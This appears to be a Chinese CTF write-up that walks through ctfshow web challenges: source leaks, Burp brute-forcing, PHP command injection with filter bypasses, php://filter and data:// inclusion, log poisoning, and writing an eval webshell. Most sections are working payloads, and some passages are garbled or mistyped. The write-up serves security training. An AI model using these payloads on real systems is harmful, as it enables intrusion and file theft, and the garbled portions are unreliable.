ctf_web_1000
title: ctf_web_1000slug: ctf_web_1000
categories: []
tags: []
halo:
site: http://120.24.171.7:8090
name: 9d29cef3-1dfc-4ed0-a495-f770576640f9
publish: false
ctfshow web 1000题
Web入门
信息搜集(1-20)
web1
右键(ctrl + U)检察源码,即可获取flag
https://i-blog.csdnimg.cn/img_convert/d13ea8a4ba2c11db74f34ee1099cd6b7.png
web2
打开页面显示无法检察源代码,右键和f12失效,快捷键ctrl+U或在url前加上view-source:
view-source:
https://i-blog.csdnimg.cn/img_convert/2566111d763b135df32f96137c27af93.png
web3
提示试着抓包看看,f12,进入网络选项卡,革新页面,检察请求标头内容,可以得到Flag,当然利用burpsuite抓包也可以
https://i-blog.csdnimg.cn/img_convert/86ee0c4d42800a14d7792c4f36f1114a.png
https://i-blog.csdnimg.cn/img_convert/d3fc618d128d1c1d47f4ab3024ea1730.png
web4
提示:
https://i-blog.csdnimg.cn/img_convert/02708a74214f338689a775f17e0738d6.png
直接访问:https://e5acc1e9-6535-4ff0-ac6b-f487c52c89a3.challenge.ctf.show/robots.txt
https://i-blog.csdnimg.cn/img_convert/f59fe3c549a16e67abb994e0ccf914d7.png
直接访问Disallow的目录/flagishere.txt,即可获取Flag
https://i-blog.csdnimg.cn/img_convert/b43267ce665bb97b652f20d40d6b322a.png
web5
提示phps源码泄漏,phps源码存储着php的源代码,直接访问https://4dc2d420-5dbd-45bb-be3d-870b2c7e1370.challenge.ctf.show/index.phps,利用记事本打开下载的文件,即可得到Flag
https://i-blog.csdnimg.cn/img_convert/0774bc23bcaba50f68703028342a3a11.png
web6
提示源码泄漏,扫描目录后发现www.zip文件,直接访问url/www.zip,下载的zip文件里有个fl000g.txt,即可找到Flag
https://5a203942-4f39-44f7-a576-5bf94fd994d1.challenge.ctf.show/www.zip
https://i-blog.csdnimg.cn/img_convert/5925b8c63e11de7a569b36a149f48d12.png
https://i-blog.csdnimg.cn/img_convert/e6940fe527c58bb0af0b2c816860a7d6.png
web7
扫描目录,发现git泄漏,直接访问url/.git,即可得到Flaghttps://i-blog.csdnimg.cn/img_convert/15c8b188cbc58b9e71ebfadab6c0d56e.png
web8
扫描目录,发现svn泄漏,直接访问url/.svn,即可得到Flag
https://i-blog.csdnimg.cn/img_convert/7b348380cf5599613b4cdbe201327138.png
https://i-blog.csdnimg.cn/img_convert/64441a2d97d3d5d6097cb89154da3c9d.png
web9
提示vim的缓存文件泄漏,访问/url/index.php.swp,即可得到Flag
https://i-blog.csdnimg.cn/img_convert/450a5cd4d61e919e24d308be6ef9de84.png
web10
提示cookie,f12/burp抓包找到cookie的值,被url编码过,url解码即可获取Flag
https://i-blog.csdnimg.cn/img_convert/297e3def6658b58a18f8b847dca2746f.png
https://i-blog.csdnimg.cn/img_convert/9a896399aa52712e003dcd928da3c20d.png
web12
提示:偶然候网站上的公开信息,就是管理员常用密码
扫描目录,存在robots.txt,直接访问url/robots.txt,访问url/admin/,提示需要用户名和密码,用户名为admin,密码根据提示很大概是页面最下面的Line Number:372619038
输入用户名:admin,密码:372619038,即可得到Flag
https://i-blog.csdnimg.cn/img_convert/6b274b84d0009e39d7f725053be7b968.png
https://i-blog.csdnimg.cn/img_convert/089087f0b3be536aa50858a2d85baa43.png
https://i-blog.csdnimg.cn/img_convert/dcf2fcdc3f8582e84cc3dfb94c13c35b.png
web13
提示:技能文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
扫描目录,发现了document.pdf,页面最底下也可以访问document,点击document,看到pdf内容,按照要求访问地点,输入用户名和密码得到Flag
https://9c8d0c7f-61a8-4329-b3f9-108c380b0026.challenge.ctf.show/system1103/login.php
https://i-blog.csdnimg.cn/img_convert/b321e55cfece6a7f7a1b5eaf2ad63a04.png
https://i-blog.csdnimg.cn/img_convert/78166c6d612c3837f6bebc8ff96aa31d.png
https://i-blog.csdnimg.cn/img_convert/9bae31969dec50a4d136487185991941.png
web14
https://i-blog.csdnimg.cn/img_convert/f5117e5b6f38ed7a491b37b9f03fcd23.png
web15
扫描目录,扫到了url/admin/,实验访问,要用户名和密码,用户名为admin,密码不知道,点击忘记密码,需要知道所在都会在哪,题目提示邮箱会暴露信息,检察邮箱,位置在西安,重置密码成功,登录后即可得到Flag
https://i-blog.csdnimg.cn/img_convert/fe6aa2d6da56cf4948b97390bb1595fd.pnghttps://i-blog.csdnimg.cn/img_convert/d62dc0c98aad29183e877236336cc121.png
web16
dirmap扫描不出东西,根据提示探针,应该是探针泄漏了,探针常用的文件名为tz.php,实验访问url/tz.php,检察php信息(点击phpinfo),ztrl+F搜素flag即可得到Flag.
https://i-blog.csdnimg.cn/img_convert/63b1e7bb30a94f409bf9bc2efcdd3a70.png
web17
dirmap扫描目录,发现backup.sql,这是sql的备份文件(题目提示也是sql备份文件的泄漏),访问url/backup.sql后会下载一个文件,打开即可得到Flag
https://i-blog.csdnimg.cn/img_convert/aef4252840609753f4607c16660a47fc.png
https://i-blog.csdnimg.cn/img_convert/c85779e94d3c791f53e8b7585cce2cef.png
web18
dirmap扫描目录发现有两个js文件,Flappy_js.js文件直接可以检察页面源代码时直接检察,里面没有信息,而另一个js文件大概含有flag,直接访问url/js/Flappy_js2.js,ctrl+f搜索100(获胜的分数)可以看到有个base64编码,解码即可得到Flag
https://i-blog.csdnimg.cn/img_convert/1e6d1b4c6d9606c9e6ca03def7b12a6c.png
https://i-blog.csdnimg.cn/img_convert/de41f40ce4c88d54dd525351a1e3df78.png
https://i-blog.csdnimg.cn/img_convert/e8fd7ac05978dbbed9f5afbb0e07d8cb.png
web19
根据提示在前端,直接检察页面源代码,有段注释,给了user和password的值,实验直接输入,显示密码错误。检察js代码,发现给出的密码是颠末AES加密的
解密:
1)找到密文:a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04
2)找到密钥:0000000372619038
3)找到初始化向量iv:ilove36dverymuch
python代码解密,运行后即可获取密码,输入得到Flag:
from Crypto.Cipher import AES
import base64
# 给定的密钥和IV
key = b"0000000372619038"
iv = b"ilove36dverymuch"
# 需要解密的密文
encrypted_password = "a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04"
# 将密文从十六进制字符串转换为字节
encrypted_password_bytes = bytes.fromhex(encrypted_password)
# 创建AES解密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 解密
decrypted_password_bytes = cipher.decrypt(encrypted_password_bytes)
# 去除填充
decrypted_password = decrypted_password_bytes.rstrip(b'\x00').decode('latin1')
print("Decrypted Password:", decrypted_password)
https://i-blog.csdnimg.cn/img_convert/77b8fa1f96866a8ff350a4fa36dec170.png
https://i-blog.csdnimg.cn/img_convert/3bc5f079fc3018b78a6bba6ab8d865df.png
web20
利用dirsearch扫描目录(dirmap不知道为什么扫不出)
https://i-blog.csdnimg.cn/img_convert/c421295ded964653e0dff03f4a003e84.png
访问url/db,无法访问,接着扫描url/db,扫描到了https://14b31935-62ba-468b-9780-21fd129b2372.challenge.ctf.show/db/db.mdb,访问,下载文件,打开搜索flag即可获取Flag
https://i-blog.csdnimg.cn/img_convert/18c3e6aadb105636ee5dbda75082793e.png
爆破
web21
提示爆破,而且给了常用密码字典,利用burpsuite抓包,发现认证Authorization: Basic MzIxMzEyMzEyOjEyMzEyMzEyMzEy(实验将后面的base64解码就发现是自己抓包时输入的账号:密码,这里就是321312312:12312312312)
https://i-blog.csdnimg.cn/img_convert/e476dc7f1eb68dafb401e3f56d7fa09c.png
发送到intruder模块,对刚才base64编码add §
https://i-blog.csdnimg.cn/img_convert/b3904a47de73c92c0cbf62b248da929d.png
根据我选的选项:
Positon1:admin
Position2: :
Position3: Load刚才题目给的字典
留意下面要加base64encode以及关闭url编码,末了点击attack,等候找到length最长的谁人,base64解码payload内容,得到admin:shark63,返回页面输入即可得到Flag
https://i-blog.csdnimg.cn/img_convert/9cd8e3d6c5a4c4c72d04bdae9e008441.png
https://i-blog.csdnimg.cn/img_convert/609cb741b65f2c44f702a581dba427a2.png
https://i-blog.csdnimg.cn/img_convert/98933db843d7c141274f96ab1e2769ce.png
web23
burp抓包,发送到intruder模块,模式设置为custom iterator,分别在1,2位置(两个位置爆破速度更快,三个位置有点慢)上添加全部数字和字母(0-9 a-z),attack,探求长度最长的相应内容即可得到Flag
下图(左边爆破两个位置,右边爆破三个位置)
https://i-blog.csdnimg.cn/img_convert/26177e96e731ec6a9ba2e1edeec4f88d.png
命令执行
web29
?c=system(‘tac ./fl*’);
https://i-blog.csdnimg.cn/img_convert/24b4fee49c938c1c754b22d8f5ad64e7.png
Web30
传入参数c中不能有flag,system,php字符,然后eval©
echo ,包罗起来的内容会当作命令执行且d*可表现任意字符以绕过过滤所以既可以构造
c=echo(ls);
https://i-blog.csdnimg.cn/img_convert/27431914152175a0e788eead81224e6d.png
c=echo( cat fla*);
https://i-blog.csdnimg.cn/img_convert/be59e1aadef2dd6d4833f0f6a7414474.png
web31
?c=eval($_GET);&a=system('tac ./fl’);*
https://i-blog.csdnimg.cn/img_convert/fc48267f3eda2a22ac3d59ab130beeb5.png
web32
解法1:include双重参数覆盖
?c=include$_GET?>&1=php://filter/read=convert.base64-encode/resource=./flag.php
base64解码得到的内容即可获取flag:https://i-blog.csdnimg.cn/img_convert/d0c11289e26b4a5a4d1ec7960e4e3785.png
https://i-blog.csdnimg.cn/img_convert/eddb5b79763e5a9e848d79265cc9f86a.png
解法2:闭合双重参数绕过
?c=?><?=include$_GET?>&1=php://filter/read=convert.base64-encode/resource=./flag.php
base64解码得到的内容即可获取flag,与上面相同
解法3:日志注入
?c=include$_GET?>&1=…/…/…/var/log/nginx/access.log
写入一句话木马,蚁剑连接即可获取flag
web33
与上题可以完全照搬
web34
与web32可以利用相同的方法
web35
过滤了以下字符:
flag system php cat sort shell . 空格 ' ` echo ; ( : " < = (无视大小写)
利用web32中的include双重参数覆盖的方法可以得到flag的base编码,解码得到flag
?c=include$_GET?>&1=php://filter/read=convert.base64-encode/resource=./flag.php
?c=includee
https://i-blog.csdnimg.cn/img_convert/2027f4cd3ec85f5df89cf6a18268a545.png
web36
因为过滤了数字所以传入get参数名称改为字母即可获取flag的base64编码,解码即可获取flag
?c=include$_GET?>&a=php://filter/read=convert.base64-encode/resource=./flag.php
web37
?c=data://text/plain,<?php system('tac ./fl*'); ?>
最好base64编码一下:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgLi9mbConKTsgPz4=
即可获取flag
https://i-blog.csdnimg.cn/img_convert/aacdc7ce7c2ccd57c3c651972b437da1.png
web38
与上题相同
https://i-blog.csdnimg.cn/img_convert/7cb21d634a52bfa4aac52b7c98b776cf.png
web39
与上题相同
web40
highlight_file高级显示
?c=highlight_file(next(array_reverse(scandir('.'))));
但是.和双引号被过滤了
利用这个代替pos(localeconv())
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
即可获取flag
https://i-blog.csdnimg.cn/img_convert/a7b9facff6b30762c92c2b10f3f06d35.png
web42
?c=tac ./flag.php;
https://i-blog.csdnimg.cn/img_convert/ff2802ce9b32293f3794f0d2fe75d9f2.png
web43
?c=tac ./flag.php||
https://i-blog.csdnimg.cn/img_convert/d5969eef674e138fcf841286804dc011.png
web44
?c=tac ./fl*||
https://i-blog.csdnimg.cn/img_convert/b13675e71cf4006767dd04d86ace471c.png
web45
过滤了空格,利用%09(大概$IFS$9)绕过
?c=tac%09./fl*||
https://i-blog.csdnimg.cn/img_convert/5f7de397d90d071ad4f32f9c2a77618a.png
web46
?c=tac%09fla?.???||
https://i-blog.csdnimg.cn/img_convert/730b87f0845be1bc8364e5bf90a431b3.png
web47
与web46相同
?c=tac%09fla?.???||
web48
与web46相同
?c=tac%09fla?.???||
web49
与web46相同
?c=tac%09fla?.???||
web50
%09被过滤了,不能利用以上方法,不知道为什么?c=tac<fl??.php||不可,这里就不利用通配符?了
?c=tac<fl''ag.php||
https://i-blog.csdnimg.cn/img_convert/c3e188de0aaf39b80da6c8469fa3042a.png
web51
tac也被过滤了,给出两个方法
方法1:?c=nl<fl''ag.php||
方法2:?c=ta''c<fl''ag.php||
web52
<被过滤了,但是$被放出来了,之前有的题目里是有的
?c=nl${IFS}fl''ag.php||
发现没有东西
https://i-blog.csdnimg.cn/img_convert/24af7e63c8a5d64e5d65e44091674e44.png
要查找更具体flag在谁人文件里了
?c=find${IFS}/${IFS}-name${IFS}fl%27%27ag||
https://i-blog.csdnimg.cn/img_convert/1ffc67220e064116b45dabc0658fa073.png
原来在根目录下
?c=nl${IFS}/fl''ag||
https://i-blog.csdnimg.cn/img_convert/0ef5d194e98a281dc7383e128dd29732.png
web53
?c=ca\t${IFS}fla?.php
web54
先了解一下uniq命令,可以看作去除了重复行的cat命令
https://i-blog.csdnimg.cn/img_convert/f3d70958f15c707616872fdf4060a6b5.png
?c=uniq${IFS}fl??.???
记得检察源代码,因为没有highlight_file
https://i-blog.csdnimg.cn/img_convert/2fbe18a03ae7e48e91916a517a1799bd.png
web55
过滤了字母,之前的方法没什么用了
新知识:bashshell实现无字母命令执行 链接
方法1:/bin目录下可执行程序base64可以将文件以base64编码的格式展现出来
?c=/bin/base64 flag.php
但是上面是不行的,过滤了字母,那么用通配符代替字母
?c=/???/????64%09????.???
https://i-blog.csdnimg.cn/img_convert/056acaa0fb32a35943411b42811c04b1.png
https://i-blog.csdnimg.cn/img_convert/0179d4ca061dc526d1530899654ace04.png
方法2:
?c=$'\143\141\164'%20$'\146'*
相当于=
?c=cat f*
如何将命令转换为以上形式
脚本:
def get_oct(char):
# 获取字符的八进制表示
return oct(ord(char))# 是为了去掉前缀 '0o'
def info(message):
# 这里可以是打印信息或者直接返回
print(message)
return message
def common_otc(cmd):
payload = '$\''
for c in cmd:
if c == ' ':
payload += '\' $\''
else:
payload += '\\' + get_oct(c)
payload += '\''
return info(payload)
# 测试函数
if __name__ == "__main__":
test_cmd = "cat f*"
print("Original command:", test_cmd)
print("Converted command:", common_otc(test_cmd))
https://i-blog.csdnimg.cn/img_convert/1b16ad15bff182ee3a245763c2c30c7d.png
web56
文件上传post
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://6ef3893f-f1ba-4220-a520-a15e671ca01e.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
上传文件内容为
#!/bin/sh
ls /
——————————————(分别为两中命令)
#!/bin/sh
cat flag.php
https://i-blog.csdnimg.cn/img_convert/b94daafe86b654a1697713f12881b5d0.png
在提交文件的过程下抓包,添加?c=.%20/???/???[@-[]
上述提交的文件会在/tmp/php???下,6个问号随机,而这里利用[@-[]代替为末了一个字符为大写字母,如许在多次Send后就可以成功执行上传文件的命令
https://i-blog.csdnimg.cn/img_convert/e43ab9e46b4f3c8eeb0b663a2c2e0b00.png
https://i-blog.csdnimg.cn/img_convert/125b7fd022d25cdc7db0665e53627444.png
web57
只需要c=36的值就可以来,但是过滤了数字,那么如何构造36这个数字呢
linux下的
$(())=0
$((~$(())))=-1
所以用下面的表达式构造出-37这个数字 后取反就为36
$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))
是不是看着很复杂,其实就是 ( ( ) ) 里面将 (())里面将 (())里面将((~ ( ( ) ) ) ) 复制 36 就可以了,比方 (())))复制36就可以了,比方 (())))复制36就可以了,比方(( ( ( ((~ (( (()))) ( ( ((~ (( (()))) ))=-2,中间有空格是因为更利于看出来,现实不要有空格,最终重复36次即可构造出-36
再取反
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))
)) payload:?c= ( ( ((~ (( (( ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (())))))))
https://i-blog.csdnimg.cn/img_convert/25c3b77e0c5f1995b6bdf76d3c076d25.png
web58
system函数被禁用
https://i-blog.csdnimg.cn/img_convert/dad3a3443c40510237e95a61f525db4f.png
先用这个扫下盘c=print_r(scandir(dirname(‘FILE’)));
POST:
c=highlight_file('flag.php');
c=show_source('flag.php');
c=copy('flag.php','flag.txt');
c=rename('flag.php','flag.txt');
c=echo file_get_contents("flag.php");
c=print_r(file("flag.php"));
https://i-blog.csdnimg.cn/img_convert/7258afefa3c6678c876ae4127f4ec0dc.png
https://i-blog.csdnimg.cn/img_convert/8372b90dda86dc10a8354016191b11b4.png
https://i-blog.csdnimg.cn/img_convert/41f3764e555c2565984e1e91bbaabf29.png
web59
与web58相同
c=highlight_file('flag.php');
web60
与web58相同
c=highlight_file('flag.php');
web61
与web58相同
web62
与web58相同,c=highlight_file(‘flag.php’);不能利用了
换一个就行
c=show_source('flag.php');
web63
与web62相同
web64
与web62相同
web65
与web62相同
web66
c=print_r(scandir('../../../flag.txt'));
先扫目录,检察flag在哪,可以找到flag.txt文件然后检察
c=high_lightfile('../../../flag.txt')
https://i-blog.csdnimg.cn/img_convert/1ad919897077b6f211dc0f40509de3c0.png
web67
与web66相同
wen68
扫目录思路和web66相同,然后这里利用之前题目里说的include双重参数覆盖
c=include$_POST;&1=php://filter/read=convert.base64-encode/resource=/flag.txt
解码得到的base64编码就行
web69
与上题检察文件内容的思路相同
c=include$_POST;&1=php://filter/read=convert.base64-encode/resource=/flag.txt
大概c=echo(implode("--",scandir("/"))); 检察文件内容 只是扫描目录的思路不同了
利用var_export()函数就行
c=var_export(scandir("/"));
web70
与上一关相同
web71
终于是不同的思路了,扫目录全是问号,利用exit()函数
https://i-blog.csdnimg.cn/img_convert/b74f39bf5cf4575b54946499fc596734.png
c=var_export(scandir('/'));exit();
然后
c=include('/flag.txt');exit(); (看别人的)看来前面的题目应该也可以简单做
https://i-blog.csdnimg.cn/img_convert/24758c8144392577bd9554abc531e438.png
web72
脚本题目,暂时不写
web73
与web71相同,文件名变为flagc.txt了
web74
scandir函数被禁用了,换成glob()函数
https://i-blog.csdnimg.cn/img_convert/30d175d060b9d2dda34c3f14f35ca126.png
c=var_export(glob('/*'));exit();
https://i-blog.csdnimg.cn/img_convert/9627d12a8ad3a21ad705e799c5adbd22.png
找到flagx.txt文件,读取
c=include('/flagx.txt');exit();
https://i-blog.csdnimg.cn/img_convert/67842f36c56dc97b0bca9185a1c2440a.png
文件包罗
Web78
包罗传入文件file,利用data协议执行体系命令,构造file=data://text/plain,<?php system('ls'); ?>
,得到目录有两个文件:flag.php和index.php,利用cat(tac)命令检察flag.php文件内容得到flag(留意利用cat命令检察时flag在最底下,tac命令可以在页面上直接看到)
构造:file=data://text/pl ain,<?php system('cat flag.php'); ?>
Web79
包罗传入文件file,相比上题,将php更换???,可以利用巨细写绕过
构造:file=data://text/plain,<?Php system('ls'); ?>
得到目录有两个文件:flag.php和index.php,利用cat(tac)命令检察flag.php文件内容得到flag(留意利用cat命令检察时flag在最底下,tac命令可以在页面上直接看到,*代表任意数目的字符)
data://text/plain,<?Php system('cat flag*'); ?>
Web80
包罗文件file,更换php和data为???,与上面相同巨细写绕过但是利用php://input协议
构造file=Php://input Post:<?Php system('ls'); ?>
file=Php://input Post:<?Php system('cat flag*'); ?>
即可获取flag
Web81
(题目将filter,data,input都过滤了)利用burp suite抓包修改ua(user-agent)头,输入php代码执行体系函数
<?php system('ls'); ?>
即可获取该目录下有俩个文件,fl0g.php和index.php,再输入以下代码检察fl0g.php文件内容,即可获取flag
<?php system('cat fl0g.php'); ?>
Web82
条件竞争
(
php特性
Web89
preg_match函数
https://i-blog.csdnimg.cn/img_convert/59a5921977f8aca437e84685819c0a63.png
需要传入参数num中不包罗数字,intval(num)不即是0;preg_match()函数传入数组时返回0;intval()函数传入数组返回1,构造num[]=1,即可得到flag
Web90
传入参数num需满足以下条件
1)num!=4476
2)intval(num,0)===4476
intval函数传入参数的作用再上图可以看到,第二个参数即为进制选择,0即代表8进制,
4476=>10574(八进制)
传入即可获取flag
Web91
cmd需要满足以下条件即可获取flag
1)preg_match(‘/^php$/im’, $cmd)==1 i(忽略巨细写) m(忽略换行符)
2)preg_match(‘/^php$/i’, $cmd)==0 i(忽略巨细写)
对比二者不同,发现少了一个m进行换行符的忽略,所以可以构造cmd=php\nphp(但是不能如许输入,\n在这里只是个字符而不是换行符,'%0a’是url编码的换行符。所以要利用%0a),cmd=php%0aphp
Web92
num需要满足以下条件
1)num!=4476
2)intval(num,0)==4476
跟上面的题目很像,4476=>10574(八进制),传入即可得到flag
https://i-blog.csdnimg.cn/img_convert/b1e70b6c6ba49a86783d5220ee4a53c5.png
Web93
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("//i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
构建num=010574
https://i-blog.csdnimg.cn/img_convert/3d756ca1928d5bc28d2beb30e1dd4cb8.png
Web94
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("//i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
构建num=%0a010574
https://i-blog.csdnimg.cn/img_convert/f8f165e2c0c8e59d499ecf5c95667b27.png
Web95
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
构建num=%0a010574
https://i-blog.csdnimg.cn/img_convert/e9239dd38f743d92cbc929da18909e8f.png
Web96
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
构建
方法一:u=./flag.php
方法二:u=php://filter/read=convert.bbase64-encode/resource=/flag.php
https://i-blog.csdnimg.cn/img_convert/e0628af800b824cb6467e70809449817.png
Web97
md5强范例比力
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
构建
方法一:
POST:a[]=1&b[]=2 (md5无法加密,返回null)
方法二:
POST:
网络上搜集内容:内容不同,加密后相同
$a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
$b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
https://i-blog.csdnimg.cn/img_convert/6652e5b67680ddeadba7501fbce5e193.png
Web98
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com
*/
include("flag.php");
$_GET?$_GET=&$_POST:'flag'; //判断是否使用get方式传入了内容,是:get方式变为post方式(之后使用post方式传参的原因) 否:令$_GET变量所有值都为flag
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); //上面若传入了get任意内容,此时$_GET['HTTP_FLAG']=》$_POST['HTTP_FLAG']
?>
构建:
url?1 POST:HTTP_FLAG=flag (利用hackbar工具||burpsuite抓包)
https://i-blog.csdnimg.cn/img_convert/ec2b543e6bd459283ea5d6e8b70fe738.png
Web99
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$allow = array(); //定义allow数组
for ($i=36; $i < 0x36d; $i++) {//0x36d=877
array_push($allow, rand(1,$i)); //array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度。 allow数组末尾添加一个1-$i内随机一个数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ //$_GET['n']是否存在并且其中是否包含数组allow
file_put_contents($_GET['n'], $_POST['content']); //file_put_contents() 函数把一个字符串写入文件中。
}
?>
构造n=1.php(数字随意只要在1_877之间就行) POST:content=<?php @eval($_POST['cmd']); ?>
之后利用蚁剑访问对应写入的php文件就可以找到flag
Web100
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
Web101
Web102
Payload:
GET: v2=225044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php`
POST: v1=hex2bin
Web103
只是过滤了php字符串
与上题相同步调即可获取flag
Web104
没有限制v1!=v2
Paylad: GET:v2=1 POST: v1=1
https://i-blog.csdnimg.cn/img_convert/7de28b7ba43347150abc2efc91656b13.pngWeb105
<?php
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){ //suces=flag
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value; //$suces=$flag
}foreach($_POST as $key => $value){ //POST: error=suces
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value; //$error=$suces
}
if(!($_POST['flag']==$flag)){// suces==$flag
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
这题最终执行的命令行为:
die($error);
只要 e r r o r 对应的值 为 ′ error对应的值为' error对应的值为′flag’即可
由于GET传参部门$key!=error所以看一下POST部门,POST:error='flag’即可,但是POST部门又=右边的值不能为flag,
所以可以在GET: suces=flag GET部门末了赋值语句即为: s u c e s = suces= suces=flag POST:error=suces 末了赋值: e r r o r = error= error=suces
最终通过参数的通报使得 e r r o r = error= error=flag
成功使得 e r r o r = error= error=flag,即可获取flag
Web106
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
